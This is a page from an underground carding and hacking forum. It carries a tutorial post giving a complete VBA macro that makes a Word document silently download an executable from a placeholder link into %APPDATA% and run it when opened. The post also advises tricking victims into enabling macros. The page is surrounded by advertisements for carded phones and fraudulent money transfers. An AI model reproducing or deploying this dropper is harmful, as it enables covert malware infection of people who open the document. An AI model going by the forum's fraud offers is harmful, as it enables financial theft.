Carding Forum, Carders Forum, Hackers Forum, Darknet Fraud, Best Hackers, Underground Hacking Forum
wu carding cash app bank carding iphone carding
× You can find our backup domain links in case our current one becomes inaccessible at: www.cardingforum.link Forum Support Private Message Quata

REGISTER LOGIN REGISTER LOGIN




FORUM ESCROW BITCOIN ADDRESS | BUY ADVERTISEMENT | BECOME A VERIFIED VENDOR | Forum Support Private Message Quata

iphone carding   westernunion carding   Bank Transfers, PayPal Skrill Hacked   Hacked Carded Western Union, Bank Transfer, Money Gram Transfers

PayPal carding

 credit card forum
 Payoneer carding 
  • 33 Vote(s) - 3 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Microsoft .DOC Exploit
#1
So with this you can make a .doc file that when opened will display a normal word document while at the same time downloading your .exe and running it silently without the users knowledge.

I'm not sure which version this is working on specifically but I believe it's from 2010 and on.

This does require macro's to be enabled.

Open the word document you will be using and click: file -> options -> customize ribbon -> check off the developer box.
Then in the word document, click the developer tab on the top right.
Next click visual basic and double click on this document in the tree menu on the left.
Then paste this code into that blank page.


MAKE SURE TO REPLACE THE LINK IN THE CODE WITH A LINK TO YOUR FILE
Code:
Sub Auto_Open()
    h
End Sub

Sub h()

Set oShell = CreateObject("WScript.Shell")
strH = oShell.ExpandEnvironmentStrings("%APPDATA%")
Dim sDir: sDir = strH & "\q"

      
Set fso = CreateObject("Scripting.FileSystemObject")
   If (fso.FolderExists(sDir)) Then


   Else
   Set oFSO = CreateObject("Scripting.FileSystemObject")
      oFSO.CreateFolder sDir
   

End If

Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
xHttp.Open "GET", "http://YOURDOWNLOAD.LINK/file.exe", False
xHttp.Send

With bStrm
    .Type = 1
    .Open
    .write xHttp.responseBody
    .savetofile strH & "\q\q.com", 2
End With


Call m(sDir)

End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub



Function m(str11)
    Dim fso, f, fc, f1, strF, intFiles
    Dim WshShell

    Set WshShell = CreateObject("WScript.Shell")

    strF = ""

    Set fso = CreateObject("Scripting.FileSystemObject")
    If (fso.FolderExists(str11)) Then
        Set f = fso.GetFolder(str11)
        Set fc = f.Files

        
        For Each f1 In fc
        Dim fR
        fR = str11 & "\" & f1.Name
        WshShell.Run Chr(34) & fR & Chr(34), 1, True
    Next

        Set f1 = Nothing
        Set fc = Nothing
        Set f = Nothing


    End If
    Set fso = Nothing
End Function

Then save your file and your done.
The person must have macros enabled for this to work.

If the person doesn't have it enabled simply putting a line of text in your document saying in order to view this document macros must be enabled usually does the trick!

First tutorial ever so if you use it or like it make sure to leave a comment!
Paid adv. expire in 19 days
CLICK to buy Advertisement !

    Verified & Trusted Carded iPhone & Samsung Phones: XS, XSMAX, 8+, 8, 7 Plus, S9+, Ant Miner & Macbooks



Forum Jump:


Users browsing this thread: 10 Guest(s)